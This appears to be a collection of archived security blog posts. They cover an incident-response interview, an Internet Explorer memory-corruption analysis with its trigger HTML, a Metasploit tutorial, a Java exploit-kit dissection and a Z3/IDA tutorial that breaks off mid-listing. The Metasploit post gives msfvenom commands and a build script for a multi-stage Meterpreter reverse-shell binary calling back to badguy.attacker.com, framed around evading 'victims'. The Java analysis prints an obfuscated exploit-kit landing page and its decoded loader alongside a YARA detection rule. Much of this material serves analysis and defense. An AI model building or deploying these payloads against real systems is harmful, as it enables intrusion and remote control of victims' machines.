analyzed to extract unique IOCs**.** These are then fed back into the system
and scans are repeated until no new malware is found**.** It's sort of like
the old shampoo commercial where they suggest you "lather, rinse, repeat**.**
"

_In your experience, how effective is this**?** How much time does it
take**?**_

The technique is extremely effective**.** I use it every time I run an IR
\(providing the customer puts the network in scope for the incident\)**.** The
time expenditure grows quickly, so this isn't for the weak of heart**.** Some
customers just want you to analyze one piece of malware, provide them some
results, and get out of the way**.** Others want to do everything possible to
ensure that they kick an adversary out of their network completely, the first
time**.** This method is particularly well suited to the latter group**.**

_Well Jake, thanks for your time and insights**\!** As a follow up, take a
look at the final installment  of this interview series, where Jake will
discuss his perspective on the various types of malware analysis
approaches**.** Those who missed Part 1 of this interview can read it
here**.** _

Jake Williams and Lenny Zeltser will be co-teaching the FOR610: Reverse-
Engineering Malware course on-line live  March 28-April 29, 2013**.**Get
achoice of a MacBook Air, Toshiba Portege Ultrabook or $850 discount when you
register for this class before March 13, 2013**.**

### 2 Comments****

Posted February 12, 2013 at 6:15 PM | Permalink | Reply
Good article**.** Is anyone using https://github.com/jeffbryner/pyioc to check
for IOCs**?**

Posted August 07, 2013 at 7:58 PM | Permalink | Reply
Lenny: Thanks for both an educational and also entertaining piece here**\!**  
AB

### Post a Comment****

\*Name

\*Email

Website

\*Anti-spam question: Is fire hot or cold**?**

\*Comment

\* Indicates a required field**.**

****

# Internet Explorer clip:rect\(0\) Memory Corruption Vulnerability – >> More
NOPs

**Created:**| _11/18/2010 5:53:43 PM_  
---|---  
**Updated:**| _11/18/2010 5:54:21 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit web vulnerability_  
  

  

# Internet Explorer clip:rect\(0\) Memory Corruption Vulnerability

  

Today we’re going to talk about a currently unpatched vulnerability in IE
reportedly affecting versions 6/7/8. In this brief analysis we’re going to
focus on Internet Explorer version 7.0.5730.13 in Windows XP SP3. This bug
tagged CVE-2010-3962, made it into the public because apparently it was found
being actively exploited in the wild \(SYMANTEC\). Trigger code has been
widely published in many sites, and for documentation purposes, it’s
reproduced here:

`<table` `style``=``position``:absolute;clip:rect(0)>`

There isn’t much to say about it. It’s seems that the original purpose of this
properties \(besides allowing system compromise :-\), is to manipulate table
borders in certain elements. But do we care about fancy HTML shapes here? not
really… The essence of the bug lies in the implementation of certain methods
inside **mshtml.dll** , the HTML rendering engine in Windows. First we need to
look at **CTableLayoutBlock::EnsureTableDispNode** which allocates a new
object:

[code]

    .text:7E9A93E5                 push    esi
    .text:7E9A93E6                 lea     eax, [ebx+0Ch]
    .text:7E9A93E9                 push    eax
    .text:7E9A93EA                 call    ?New@CDispContainer@@SGPAV1@PAVCDispClient@@K@Z ; CDispContainer::New(CDispClient *,ulong)
    .text:7E9A93EF                 mov     esi, eax
    .text:7E9A93F1                 test    esi, esi
    .text:7E9A93F3                 jz      loc_7E9EA792
    .text:7E9A93F9                 or      dword ptr [esi+4], 40000000h
    .text:7E9A9400                 mov     ecx, [ebx+8]
    
[/code]

Next, this very object gets passed to **CDispNode::SetUserClip** inside the
same **CTableLayoutBlock::EnsureTableDispNode** function:

[code]

    .text:7E9EA691                 xor     eax, eax
    .text:7E9EA693                 mov     [ebp+var_9C], eax
    .text:7E9EA699                 mov     [ebp+var_A0], eax
    .text:7E9EA69F                 mov     [ebp+var_A4], eax
    .text:7E9EA6A5                 mov     [ebp+var_A8], eax
    .text:7E9EA6AB                 lea     eax, [ebp+var_A8]
    .text:7E9EA6B1                 push    eax
    .text:7E9EA6B2                 mov     ecx, esi ; our object
    .text:7E9EA6B4                 call    ?SetUserClip@CDispNode@@QAEXABUtagRECT@@@Z ; CDispNode::SetUserClip(tagRECT const &amp;)
    
[/code]

And here comes the funny part. Inside **CDispNode::SetUserClip** the _vftable_
address gets dereferenced and OR’ed with 0×1, corrupting the table as a
result:

[code]

    .text:7EA3FB95                 mov     eax, edi ; load object in eax
    .text:7EA3FB97                 shl     ecx, 2
    .text:7EA3FB9A                 sub     eax, ecx
    .text:7EA3FB9C                 or      dword ptr [eax], 1 ; BUG!
    .text:7EA3FB9F                 mov     eax, [edi+4]
    
[/code]

Once we have a corrupted entity, we need to actually call any method in the
_vftable_ because it will point to corrupted memory. This happens inside
**CTableLayout::CalculateLayout** :

[code]

    .text:7E9A9604                 mov     ecx, [ebp+corruptObj_ptr]
    .text:7E9A9607                 and     [ebp+var_8], 0
    .text:7E9A960B                 lea     edx, [ebp+var_8]
    .text:7E9A960E                 mov     [ebp+var_4], eax
    .text:7E9A9611                 mov     eax, [ecx]      ; vtable[0]
    .text:7E9A9613                 push    edx
    .text:7E9A9614                 call    dword ptr [eax+44h] ; PWN!
    .text:7E9A9617                 jmp     loc_7E8A3954
    
[/code]

As many other researchers pointed out this bug is a bit difficult to exploit
reliably because it depends largely on mshtml.dll’s version \(7.0.5730.13 was
used here\). Heap Spray anyone?

Links:

  * http://www.exploit-db.com/exploits/15421/
  * http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Exploit:Win32/CVE-2010-3962.A
  * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3962

P.D: While I was writing this I noticed that the guys at hdlsec.com had a nice
work relating to this very vulnerability. Unfortunately their site seems to be
down, suggested read when it’s running again.

# Room362.com - Blog - Metasploit Payloads Explained - Part 1b

**Created:**| _7/17/2011 11:50:33 AM_  
---|---  
**Updated:**| _7/17/2011 1:45:04 PM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

## Metasploit Payloads Explained - Part 1b

Sunday, July 17, 2011 at 3:49AM

This series was interrupted a bit by the new Metasploit HTTP/HTTPS payloads
\(more info\). Definitely not complaining though as the new features \*\(as
will be discussed in part 2\) are some epic new additions to the payloads
list. However an important change happened while the craziness over the new
payloads was going on. ScriptJunkie snuck in an awesome change to msfvenom
\(a.k.a. msffsm\).

Here is the link to the ticket about the change \(link\) and the revision
\(r13057\)

**TL;DR version** : This change allows you to put multiple payloads into one
binary... ya.. awesomesauce.

He gives the following example:

> ruby msfvenom -p windows/messagebox -f raw EXITFUNC=thread > /tmp/msgbox.raw
> ruby msfvenom -p windows/meterpreter/reverse\_tcp -f raw -t /tmp/msgbox.raw
> -k LHOST=192.168.0.102 EXITFUNC=thread > /tmp/rev102msgbox.raw
> ruby msfvenom -p - -f exe < /tmp/rev102msgbox.raw > /tmp/rev102msgbox.exe
This example when 'rev102msgbox.exe' is run will pop up a message box with the
default options \(Hello, from MSF\!\) and throw a reverse\)tcp connection to
192.168.0.102 over the default port of 4444.

This is great as an example and a good way to test to see if things are
working, but I don't normally like to inform my victims that I'm there by
saying hello \(especially if I'm not there to see their faces\).

So I thought that this would be a great way of throwing a bunch of payloads
together to try a few of the tried and true ways of getting past restrictive
networks all in one binary. I started off with 3 payloads:

  * reverse\_tcp\_dns to port 7815
  * reverse\_tcp\_dns to port 80
  * reverse\_https to port 443

I chose those because I can change the DNS to point to a new IP address in
future without having to regenerate my binary and size really isn't a concern
since I won't be using it in an exploit.

_\(**SIDE NOT** E: The motive for the port 7815 one is because sometimes there
are proxy settings for port 80 and 443 \*which the new HTTP/HTTPS payloads can
handle \('cept for Auth proxies\)\* but for some reason quite regularly
companies will still allow odd ports to fly through unencumbered\)_

Here is what I did:

> ./msfvenom -p windows/meterpreter/reverse\_https -f raw
> LHOST=badguy.attacker.com LPORT=443 > /tmp/stage1.raw
> ./msfvenom -p windows/meterpreter/reverse\_tcp\_dns -f raw
> LHOST=badguy.attacker.com LPORT=80 -c /tmp/stage1.raw > /tmp/stage2.raw
> ./msfvenom -p windows/meterpreter/reverse\_tcp\_dns -f exe
> LHOST=badguy2.attacker.com LPORT=7815 -c /tmp/stage2.raw > /tmp/stage3.exe
Luckily \(and you'll see why in a second\) I forgot to set up a multi/handler
on port 7815, which caused me to notice an issue. When one of the payloads
failed to connect, '**ExitProcess** ' was called, causing all of my payloads
to die prematurely \(even if they had already gotten the second stage\).

I tried setting **AutoRunScript** to 'migrate -f' so that the payloads would
migrate out into a new Notepad process. But the connection died too quickly
and none of the payloads were fast enough at jumping ship.

**ReverseConnectRetries** to the rescue. This is an advanced setting for the
reverse\_tcp family \(ipv6\_tcp, nonx\_tcp, ord\_tcp, tcp, tcp\_allports,
tcp\_dns\) which tells the payload how many times to loop through the initial
connection. This setting defaults to 5 but can be anything between 1 and 255.
The 255 setting is special since it actually sets an infinite loop. Sweet, now
our sinking should never call the ExitProcess command right? Not quite,
reverse\_https and reverse\_http doesn’t have this setting. We are still in a
bit of a race condition if we want to use those payloads but it is a race we
can win now at least.

I wrote a very simple batch file to generate my new binary when I need it
\(also so I don’t have to remember all the commands\):

> \#\!/bin/bash
> echo Building Stage 1
> ./msfvenom -p windows/meterpreter/reverse\_https -f raw
> LHOST=badguy.attacker.com LPORT=443 > /tmp/stage1.raw
>  
>  echo Building Stage 2
> ./msfvenom -p windows/meterpreter/reverse\_tcp\_dns -f raw
> LHOST=badguy.attacker.com ReverseConnectRetries=255 LPORT=80 -c
> /tmp/stage1.raw > /tmp/stage2.raw
>  
>  echo Building Stage 3
> ./msfvenom -p windows/meterpreter/reverse\_tcp\_dns -f exe
> LHOST=badguy2.attacker.com ReverseConnectRetries=255 LPORT=7815 -c
> /tmp/stage2.raw > /tmp/stage3.exe
>  
>  echo Cleaning up...
> rm -rf /tmp/stage1.raw /tmp/stage2.raw
> echo Done..
Plus it tells you whats going on and does a bit of clean up, leaving you with
just your hydra-binary. One of the things I thought about adding was the
cmd/windows/adduser payload just so if the user is an admin we can start our
day off without having to add ourselves a user but I decided against it just
for clean up and “noise” purposes.

\(You’ll also notice that one of the payloads is going somewhere else.. no
reason to not give your payloads every chance of getting out\) Sharing is
caring right?

# Zscaler Research: Dissecting the CVE-2013-2460 Java Exploit

**Created:**| _7/28/2014 10:47:33 AM_  
---|---  
**Updated:**| _7/28/2014 10:47:33 AM_  
**Author:**| __  
**Tags:**| _Exploit Java_  
  

# Dissecting the CVE-2013-2460 Java Exploit

**Introduction**

In this vulnerability, code is able to get references of some restricted
classes which are cleverly used for privilege escalation and bypassing the JVM
sandbox. The vulnerable “invoke” method of“sun.tracing.ProviderSkeleton” class
is used to issue calls to Class.forName\(\) method for loading internal
restricted classes and methods.

**Vulnerability Exploitation Procedure**

To define tracepoints in any Java application, one must extend the Provider
interface in their program. Creating a Provider instance is done with the help
of the factory class ProviderFactory. ProviderSkeleton gives all the
implementation needed by a framework provider by implementing two important
interfaces, namely“com.sun.tracing.Provider” and
“java.lang.reflect.InvocationHandler”. s mentioned earlier, it also has the
implementation of our target “invoke” method. Invoke is the default invocation
handler associated with Provider class and is created when we
call“Java.reflect.Proxy.GetInvocationHandler\(\)” method with a Provider class
object as parameter.

So, the code for this would be:

<Invoke object> =
class.forname\(java.lang.reflect.Proxy\).getmethod\(getInvocationHandler\),
new Class\[\] \{ Class.forName\(java.lang.Object\)
\}\).invoke\(Class.forName\(java.lang.reflect.Proxy\)\), new Object\[\] \{
<Provider object> \}\);  
---  
**Class.forName\(\):**

Class.forName is the dynamic Class Loader in ava. It initializes a class by
calling its static methods and constructors, if the class was previously not
being loaded.

ollowing restricted classes are loaded in the exploit using the <invoke
object>:

  * “sun.org.mozilla.javascript.internal.Context”
  * “sun.org.mozilla.javascript.internal.DefiningClassLoader”
  * “sun.org.mozilla.javascript.internal.GeneratedClassLoader”

**MethodHandles.Lookup\(\)**

There is a call to “MethodHandles.Lookup\(\)” method which does the
AccessController checks only while creating the class instance and not each
time the call is made. A lookup object has the capability to access any method
handle that the caller has access to.

Context stores some information about the program like the call stack. To
associate the newly created context with the current thread, an object of
“enter\(\)” method of “sun.org.mozilla.javascript.internal.Context” class is
created using the lookup object we created. Similarly, method objects for
“defineClass\(\)” and “createClassLoader\(\)” from the other two classes are
also created. All these three objects are eventually used to disable the
SecurityManager enforced by the browser for running Java code.

**Privilege Escalation\!**

Typically, a web applet runs with the SecurityManager provided by the browser.
This way, user code does not have the privileges to disable it. In our case we
are able to invoke restricted browser libraries and generate a new
ClassLoader. So, this ClassLoader is of the same context as that of the
SecurityManger. Finally, defineClass loads the binary object of another class
using the privileged ClassLoader and sets the SecurityManager to null after it
has successfully performed the bytecode verification.

We will get into this more when we go through each step in detail.

**Test Case: Flashpack EK**

The malicious jar files we found in multiple exploit kitsEKs use different
types of obfuscation to make undetectable. In this blog, I will be explain the
analysis of a jar file we found in Flashpack EK which was using the same
exploit. The file can also be downloaded here.

The jar file runs as an applet in browser and is triggered from the EK’s
landing page after it has checked the ava version installed. The jar contains
following classes:

**Java Code Deobfuscation Routine:**

Code generates strings from garbage text by calling “crock.zam\(\)”. The
following threemethods performall the deobfuscation routine:

The entry point class “a1.class” needs the following threeparameters: “urla”,
“t” and “tt”. The code proceeds with creating an object of “crock.class” and
calling “badafzew\(\)” method.

In “crock.badafzew\(\)” creation of following three objects takes place:

  1. The contents of “pashka.class” is fetched asstream and stored in a byte array object of size 8KBut it is utilized later in the program for disabling SecurityManager. 
  2. In the next step, “b3333.cadvsfew\(\)” is called in which Provider object is created using the ProviderFactory mechanism.
  3. A call to GetInvocationHandler\(\) returns an object of the vulnerable “invoke\(\)” method. 

The execution is then transferred to “nano.allokas\(\)” passing all three
objects created as parameters.In“allokas\(\)” method, an object of “cve.class”
in created which gives us the folllowing two important static method objects:

The invoke\(\) method object is used for the first time to generate class
objects of two restricted classes as follows:

Using these class objects, two method objects are created for enter\(\) and
createClassLoader\(\)methods.

The last step is to perform invoke action on
“sun.org.mozilla.javascript.internal.DefiningClassLoader” methodhandle and
pass byte object of “pashka.class” as parameter. This results in successful
disabling of the SecurityManager.

Now that the SecurityManager is disabled, the applet is free to perform
privileged actions like saving files on user machine, downloading data and
perform file execution. All this workflow is performed in “nasa.class” which I
am not discussing in this blog as it is easily understandable as shown below.

**JavaScript Deobfuscation:**

To prepare a POC of the exploit, along with the jar file, the html page
calling the applet is also important because it sends the parameters needed
for jar execution. But exploit kit landing pages are found to be highly
obfuscated and it’s not at all easy to decode the parameters.

In case of Flashpack, we filteredthe following traffic:

<html><head> <noscript>Your browser does not support JavaScript\!</noscript>
</head><body> <script> dc=\(document\); scr=dc\['createElement'\]\('script'\);
txt="th=\(this\);function un\(x\)\{return
th\['unescape'\]\(x\);\};res='646f63756d656e742e777269746528273c6170706c65742077696474683d5c27335c27206
865696768743d5c27335c273e3c706172616d206e616d653d5c276a6e6c705f687265665c272076616
c75653d5c27556d4c6a4163672e6a6e6c705c272f3e3c706172616d206e616d653d5c276a6e6c705f65
6d6265646465645c272076616c75653d5c2750477075624841676333426c597a30694d53347749694
23462577875637a70715a6e6739496d6830644841364c79396e6232396e6247557559323974496942
6f636d566d50534969506a7870626d5a76636d316864476c76626a343864476c306247552b59304e7
75a57564c6444777664476c306247552b50485a6c626d5276636a356851555a325346705350433932
5a57356b6233492b50433970626d5a76636d316864476c76626a3438636d567a623356795932567a
506a78714d6e4e6c49485a6c636e4e7062323439496a45754e797369494768795a575939496949765
06a78715958496761484a6c5a6a30696157356a6248566b5a53387759544579597a597a4f4452694d
546c6a4f4451304e4445304e324a6a4f47566c5a474d304d5755795a69357159584969494731686157
3439496e5279645755694c7a34384c334a6c63323931636d4e6c637a3438616d463259575a344c5752
6c63324d67625746706269316a6247467a637a30696245526f536b5a78646e6369494842795a577876
5957526c6369316a6247467a637a3069595445694947356862575539496d5236636d4e5a626e45694c
7a343859584277624756304c57526c63324d67626d46745a543069523142535957354f576949676257
46706269316a6247467a637a3069536d35585a5552685579496764326c6b64476739496a4d69494768
6c6157646f644430694d794976506a7776616d35736344343d5c272f3e3c706172616d206e616d653d
5c276a61766166785f76657273696f6e5c272076616c75653d5c27322e302b5c272f3e3c706172616d2
06e616d653d5c2775726c615c272076616c75653d5c276458584f737a7a74306b26425341723444487
8682623483d55414f4c6b4c39464f586950465469486950573046394f6f7a6b554858343d69637a685
55034584869667a6f554666666c394f644f5236664d535c272f3e3c706172616d206e616d653d5c277
45c272076616c75653d5c27315c272f3e3c706172616d206e616d653d5c2774745c272076616c75653
d5c27305c272f3e3c2f6170706c65743e27293b';code='%';for\(var
j=0;j<res.length;j+=2\)\{code+=res.charAt\(j\)+res.charAt\(j+1\)+'%';\};code=code.slice\(0,-1\);th\['eval'\]\(un\(code\)\);";
scr\['text'\]=txt; dc\['body'\]\['appendChild'\]\(scr\);
</script></body></html>  
---  
After deobfuscating the JS and extracting some useful content, we get:

document.write\('<applet width=\'3\' height=\'3\'><param name=\'jnlp\_href\'
value=\'UmLjAcg.jnlp\'/> <param name=\'jnlp\_embedded\'
value=\'PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly
9nb29nbGUuY29tIiBocmVmPSIiPjxpbmZvcm1hdGlvbj48dGl0bGU+Y0NwZWVLdDwvdGl0bGU+P
HZlbmRvcj5hQUZ2SFpSPC92ZW5kb3I+PC9pbmZvcm1hdGlvbj48cmVzb3VyY2VzPjxqMnNlIHZlc
nNpb249IjEuNysiIGhyZWY9IiIvPjxqYXIgaHJlZj0iaW5jbHVkZS8wYTEyYzYzODRiMTljODQ0ND
E0N2JjOGVlZGM0MWUyZi5qYXIiIG1haW49InRydWUiLz48L3Jlc291cmNlcz48amF2YWZ4LWR
lc2MgbWFpbi1jbGFzcz0ibERoSkZxdnciIHByZWxvYWRlci1jbGFzcz0iYTEiIG5hbWU9ImR6cmNZ
bnEiLz48YXBwbGV0LWRlc2MgbmFtZT0iR1BSYW5OWiIgbWFpbi1jbGFzcz0iSm5XZURhUyIgd2
lkdGg9IjMiIGhlaWdodD0iMyIvPjwvam5scD4=\'/><param name=\'javafx\_version\'
value=\'2.0+\'/><param name=\'urla\'
value=\'dXXOszzt0k&BSAr4DHxh&\#H=UAOLkL9FOXiPFTiHiPW0F9OozkUHX4=iczhUP4XHifzoUFffl9OdOR6fMS\'/><param
name=\'t\' value=\'1\'/><param name=\'tt\' value=\'0\'/></applet>  
---  
**Yara Signature:**

Even though the jar files used by EKs have highly obfuscated code, some of the
strings still can’t be obfuscated and we can use such patterns in our static
analysis. And if we are lucky, we can develop accurate detection methods.
ollowing signature can be used for exploit identification on a decompiled jar
file.

rule CVE\_2013\_2460\_java meta: Description=
"CVE\_2013\_2460\_decompiled\_jar" Author= “Zscaler” strings:
$exp=/sun\\.tracing\\.Provider\[.\*\]interface\s\[.\*\]extends\sProvider/s
$str1="InvocationHandler" wide ascii $str2=" ProviderFactory" wide ascii
$str3="forName" wide ascii $str4="Invoke" wide ascii $str5="MethodHandles"
wide ascii $str6="lookup" wide ascii
$replace=/\\\(\s\*\"\(\S+\)\"\s\*\,\s\*\"\(\S+\)\"\s\*\,\s\*\"\"\s\*\\\)/s
condition: $exp and \( \(3 of \($str\*\)\) or \#replace>5 \)  
---  
\- Sameer Patil

# Using Z3 with IDA to simplify arithmetic operations in functions

**Created:**| _3/22/2019 7:36:12 AM_  
---|---  
**Updated:**| _3/22/2019 7:36:12 AM_  
**Author:**| __  
**Tags:**| _SMT z3_  
  

  

# Using Z3 with IDA to simplify arithmetic operations in functions

March 5, 2018 elias IDAPython, Reverse Engineering, Z3

I have been meaning to learn about SMT based program analysis for a long time
and recently I started learning about the topic. There are so many frameworks,
articles and tutorials out there that I shall explore as time goes by.

Since I am still learning, I do not claim that the following material is
rocket science or advanced by any means, instead, it is very basic and should
be approachable enough by absolute beginners to Z3 \(a theorem prover from
Microsoft Research\). All I know so far comes from reading Dennis Yurichev‘s
e-book “Quick introduction into SAT/SMT solvers and symbolic execution” in
addition to the Z3Py introductory material by Eric
\(https://github.com/ericpony/z3py-tutorial\).

In last week’s blog post, I illustrated how to write a basic emulator to
evaluate a function’s return value without running it. In today’s blog post, I
am going to show how to convert thousands of arithmetic operations from x86
assembly code into simplified Z3 expressions.

  * Introduction
  * Quick Z3 Primer
  * Converting the assembly listing to a Z3 expression

# Introduction

The test program is similar to last week’s test program, where it has a table
of 12 challenge functions that get called from the main function. Each
challenge function was randomly generated so it contains a random sequence of
_add_ /_sub_ /_dec_ /_inc_ instructions that work with the _eax_ /_ebx_ /_ecx_
/_edx_ registers \(and immediate values\).

Here’s a snippet of the first challenge function \(at _0x401000_\):

  * //-------------------------------------------------------------------------
  * uint32\_t challenge\_1\(uint32\_t c1, uint32\_t c2, uint32\_t c3, uint32\_t c4\) // 1953 operation\(s\)
  * \{
  * uint32\_t result;
  * \_\_asm
  * \{
  * pushad
  * mov eax, \[c1\]
  * mov edx, \[c2\]
  * mov ecx, \[c3\]
  * mov ebx, \[c4\]
  * sub eax, ebx
  * inc ebx
  * sub ebx, ecx
  * sub ecx, 0x852e4867
  * add ebx, ebx
  * inc ecx
  * add eax, edx
  * add ecx, ebx
  * sub ecx, ebx
  * inc ecx
  * sub ebx, edx
  * add eax, 0x7a20f9e6
  * add ebx, 0xaa5a1584
  * add edx, edx
  * sub ebx, 0x1ca0a567
  * sub eax, 0xf94f7d8c
  * inc ecx
  * inc eax
  * add edx, eax
  * sub ebx, edx
  * inc ebx
  * sub edx, 0xd68a9fa7
  * inc ebx
  * inc eax
  * inc eax
  * .
  * .
  * ...1000\+ instructions later...
  * .
  * sub ebx, edx
  * inc eax
  * sub ebx, edx
  * sub ecx, eax
  * add eax, ebx
  * add ecx, 0xd2cb013d
  * add ecx, 0xda9d6a2e
  * add edx, eax
  * sub edx, 0x25ebd85d
  * add ebx, ebx
  * add ebx, 0x936e2259
  * inc eax
  * add eax, ecx
  * add ebx, 0xc0c1aa
  * inc ebx
  * add edx, 0x921ee6d5
  * add edx, edx
  * add ecx, eax
  * add ecx, eax
  * inc ebx
  * sub ebx, edx
  * add ebx, eax
  * inc ebx
  * sub eax, 0xd9d2f9c2
  * add edx, eax
  * inc ecx
  * add ecx, 0xad2e6bb0
  * add ecx, eax
  * sub ecx, ebx
  * add ebx, eax
  * sub ecx, 0xe2786d0c
  * add eax, ebx
  * add eax, ecx
  * add eax, edx
  * mov dword ptr \[result\], eax
  * popad
  * \}
  * return result;
  * \}

The disassembly listing of the function above is going to look similar, so
instead of showing the disassembly, I am going to show you the output of the
Hex-Rays decompiler:

\[skip\]

  1. int \_\_cdecl challenge\_1\(unsigned int c1, unsigned int c2, unsigned int c3, unsigned int c4\)
  2. \{
  3. unsigned int v4; // edx
  4. unsigned int v5; // ebx
  5. unsigned int v6; // ecx
  6. unsigned int v7; // eax
  7. int v8; // ecx
  8. int v9; // eax
  9. int v10; // edx
  10. int v11; // ebx
  11. int v12; // ecx
  12. int v13; // eax
  13. int v14; // ebx
  14. int v15; // edx
  15. int v16; // eax
  16. int v17; // ebx
  17. int v18; // ecx
  18. int v19; // edx
  19. int v20; // ecx
  20. int v21; // edx
  21. int v22; // eax
  22. int v23; // ebx
  23. int v24; // edx
  24. int v25; // eax
  25. int v26; // ecx
  26. int v27; // edx
  27. int v28; // ecx
  28. int v29; // edx
  29. int v30; // eax
  30. int v31; // ebx
  31. int v32; // ecx
  32. int v33; // eax
  33. int v34; // edx
  34. int v35; // ecx
  35. int v36; // ebx
  36. int v37; // edx
  37. int v38; // ecx
  38. int v39; // eax
  39. int v40; // ebx
  40. int v41; // ecx
  41. int v42; // eax
  42. int v43; // edx
  43. int v44; // ebx
  44. int v45; // ebx
  45. int v46; // edx
  46. int v47; // ecx
  47. int v48; // eax
  48. int v49; // edx
  49. int v50; // ebx
  50. int v51; // eax
  51. int v52; // edx
  52. int v53; // ebx
  53. int v54; // eax
  54. int v55; // edx
  55. int v56; // ecx
  56. int v57; // ecx
  57. int v58; // eax
  58. int v59; // edx
  59. int v60; // eax
  60. int v61; // ebx
  61. int v62; // eax
  62. int v63; // ebx
  63. int v64; // ecx
  64. int v65; // eax
  65. int v66; // edx
  66. int v67; // ecx
  67. int v68; // ebx
  68. int v69; // edx
  69. int v70; // ebx
  70. int v71; // edx
  71. int v72; // ecx
  72. int v73; // eax
  73. int v74; // ecx
  74. int v75; // edx
  75. int v76; // ebx
  76. int v77; // edx
  77. int v78; // edx
  78. int v79; // eax
  79. int v80; // ebx
  80. int v81; // ecx
  81. int v82; // ebx
  82. int v83; // eax
  83. int v84; // ebx
  84. int v85; // edx
  85. int v86; // ebx
  86. int v87; // eax
  87. int v88; // edx
  88. int v89; // ecx
  89. int v90; // eax
  90. int v91; // edx
  91. int v92; // ebx
  92. int v93; // ecx
  93. int v94; // ebx
  94. int v95; // eax
  95. int v96; // ecx
  96. int v97; // ecx
  97. int v98; // ebx
  98. int v99; // ecx
  99. int v100; // eax
  100. int v101; // edx
  101. int v102; // ebx
  102. int v103; // edx
  103. int v104; // edx
  104. int v105; // ecx
  105. int v106; // eax
  106. int v107; // ecx
  107. int v108; // edx
  108. int v109; // eax
  109. int v110; // edx
  110. int v111; // eax
  111. int v112; // ebx
  112. int v113; // ecx
  113. int v114; // edx
  114. int v115; // eax
  115. int v116; // edx
  116. int v117; // ecx
  117. int v118; // ebx
  118. int v119; // eax
  119. int v120; // ecx
  120. int v121; // edx
  121. int v122; // edx
  122. int v123; // eax
  123. int v124; // edx
  124. int v125; // ebx
  125. int v126; // eax
  126. int v127; // edx
  127. int v128; // ecx
  128. int v129; // ebx
  129. int v130; // edx
  130. int v131; // ebx
  131. int v132; // ecx
  132. int v133; // ebx
  133. int v134; // ebx
  134. int v135; // eax
  135. int v136; // ecx
  136. int v137; // ebx
  137. int v138; // ebx
  138. int v139; // edx
  139. int v140; // ecx
  140. int v141; // ebx
  141. int v142; // eax
  142. int v143; // ecx
  143. int v144; // ebx
  144. int v145; // edx
  145. int v146; // ebx
  146. int v147; // edx
  147. int v148; // ecx
  148. int v149; // eax
  149. int v150; // ebx
  150. int v151; // ecx
  151. int v152; // ebx
  152. int v153; // edx
  153. int v154; // eax
  154. int v155; // edx
  155. int v156; // ebx
  156. int v157; // edx
  157. int v158; // ebx
  158. int v159; // ecx
  159. int v160; // ebx
  160. int v161; // eax
  161. int v162; // ecx
  162. int v163; // ebx
  163. int v164; // edx
  164. int v165; // eax
  165. int v166; // ecx
  166. int v167; // eax
  167. int v168; // edx
  168. int v169; // ebx
  169. int v170; // ecx
  170. int v171; // eax
  171. int v172; // ecx
  172. int v173; // ebx
  173. int v174; // ecx
  174. int v175; // edx
  175. int v176; // ebx
  176. int v177; // ebx
  177. int v178; // eax
  178. int v179; // edx
  179. int v180; // ecx
  180. int v181; // eax
  181. int v182; // edx
  182. int v183; // eax
  183. int v184; // eax
  184. int v185; // ebx
  185. int v186; // ecx
  186. int v187; // ebx
  187. int v188; // edx
  188. int v189; // ecx
  189. int v190; // ebx
  190. int v191; // eax
  191. int v192; // ecx
  192. int v193; // eax
  193. int v194; // edx
  194. int v195; // ecx
  195. int v196; // edx
  196. int v197; // ecx
  197. int v198; // eax
  198. int v199; // edx
  199. int v200; // eax
  200. int v201; // ecx
  201. int v202; // ebx
  202. int v203; // eax
  203. int v204; // ebx
  204. int v205; // eax
  205. int v206; // ecx
  206. int v207; // edx
  207. int v208; // ebx
  208. int v209; // eax
  209. int v210; // edx
  210. int v211; // eax
  211. int v212; // eax
  212. int v213; // ecx
  213. int v214; // ebx
  214. int v215; // edx
  215. int v216; // ecx
  216. int v217; // edx
  217. int v218; // ebx
  218. int v219; // eax
  219. int v220; // ecx
  220. int v221; // eax
  221. int v222; // ebx
  222. int v223; // eax
  223. int v224; // ecx
  224. int v225; // ecx
  225. int v226; // ebx
  226. int v227; // eax
  227. int v228; // ebx
  228. int v229; // ecx
  229. int v230; // edx
  230. int v231; // eax
  231. int v232; // ecx
  232. int v233; // edx
  233. int v234; // ecx
  234. int v235; // edx
  235. int v236; // edx
  236. int v237; // ecx
  237. int v238; // eax
  238. int v239; // ebx
  239. int v240; // edx
  240. int v241; // ebx
  241. int v242; // edx
  242. int v243; // ebx
  243. int v244; // eax
  244. int v245; // ecx
  245. int v246; // eax
  246. int v247; // edx
  247. int v248; // eax
  248. int v249; // ebx
  249. int v250; // ecx
  250. int v251; // eax
  251. int v252; // ecx
  252. int v253; // ebx
  253. int v254; // ecx
  254. int v255; // edx
  255. int v256; // eax
  256. int v257; // edx
  257. int v258; // ecx
  258. int v259; // eax
  259. int v260; // edx
  260. int v261; // ebx
  261. int v262; // ecx
  262. int v263; // ecx
  263. int v264; // eax
  264. int v265; // edx
  265. int v266; // eax
  266. int v267; // ecx
  267. int v268; // ebx
  268. int v269; // edx
  269. int v270; // eax
  270. int v271; // ebx
  271. int v272; // edx
  272. int v273; // eax
  273. int v274; // ecx
  274. int v275; // ebx
  275. int v276; // ecx
  276. int v277; // eax
  277. int v278; // edx
  278. int v279; // ecx
  279. int v280; // edx
  280. int v281; // eax
  281. int v282; // ecx
  282. int v283; // ebx
  283. int v284; // eax
  284. int v285; // edx
  285. int v286; // ebx
  286. int v287; // eax
  287. int v288; // ecx
  288. int v289; // eax
  289. int v290; // ebx
  290. int v291; // eax
  291. int v292; // ecx
  292. int v293; // ebx
  293. int v294; // edx
  294. int v295; // eax
  295. int v296; // ebx
  296. int v297; // ecx
  297. int v298; // edx
  298. int v299; // ebx
  299. int v300; // eax
  300. int v301; // ebx
  301. int v302; // eax
  302. int v303; // ebx
  303. int v304; // edx
  304. int v305; // eax
  305. int v306; // ecx
  306. int v307; // eax
  307. int v308; // ebx
  308. int v309; // ecx
  309. int v310; // ebx
  310. int v311; // ecx
  311. int v312; // ebx
  312. int v313; // ecx
  313. int v314; // edx
  314. int v315; // eax
  315. int v316; // edx
  316. int v317; // ebx
  317. int v318; // ecx
  318. int v319; // eax
  319. int v320; // edx
  320. int v321; // ebx
  321. int v322; // ecx
  322. int v323; // edx
  323. int v324; // ebx
  324. int v325; // edx
  325. int v326; // eax
  326. int v327; // edx
  327. int v328; // ebx
  328. int v329; // eax
  329. int v330; // eax
  330. int v331; // eax
  331. int v332; // edx
